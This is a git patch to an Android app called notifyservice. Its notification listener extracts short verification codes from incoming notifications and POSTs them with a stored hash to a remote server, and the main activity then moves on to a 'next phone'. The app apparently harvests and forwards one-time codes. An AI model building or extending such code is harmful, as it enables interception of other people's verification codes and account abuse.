From 45dc17bb111a01698a4af0c6b9666be258cb6dbe Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 9 Apr 2025 19:39:11 +0300 Subject: [PATCH] test --- .../java/com/example/notifyservice/Listener.java | 12 +++++++++--- .../java/com/example/notifyservice/MainActivity.java | 8 ++++++-- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index 53faa78..f38649d 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -1,6 +1,7 @@ package com.example.notifyservice; import static com.example.notifyservice.MainActivity.getCurrentHash; +import static com.example.notifyservice.MainActivity.setCurrentHash; import android.app.ActivityManager; import android.app.Notification; @@ -62,15 +63,20 @@ public class Listener extends NotificationListenerService { if (code.length() < 5) return; Context context = getApplicationContext(); - PostRequest postRequestTask = new PostRequest(context, null); - postRequestTask.execute("code", - code + ";" + getCurrentHash(context)); // STATIC + String currentHash = getCurrentHash(context); + if(currentHash.isEmpty()) + return; if (MainActivity.callbackRef != null) { NotificationCallback callback = MainActivity.callbackRef.get(); if (callback != null) { callback.onCodeReceived(code); } + } else { + PostRequest postRequestTask = new PostRequest(context, null); + postRequestTask.execute("code", + code + ";" + currentHash); // STATIC } + setCurrentHash(context, ""); } } diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index d2d5068..2093ad4 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -15,6 +15,7 @@ import android.net.NetworkCapabilities; import android.os.Build; import android.os.Bundle; +import android.preference.PreferenceManager; import android.telephony.TelephonyManager; import android.view.View; import android.view.ViewGroup; @@ -320,6 +321,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba return; codes.add(code); cancelTimer(); + PostRequest postRequestTask = new PostRequest(this, this); + postRequestTask.execute("code", + code + ";" + getCurrentHash(this)); // STATIC nextPhone(); } @@ -345,13 +349,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static String getCurrentHash(Context context) { - SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE); + SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context); return prefs.getString("KEY_HASH", ""); // Return empty string if not found } // Store the hash value public static void setCurrentHash(Context context, String hash) { - SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit(); + SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(context).edit(); editor.putString("KEY_HASH", hash); editor.apply(); // Asynchronously save changes }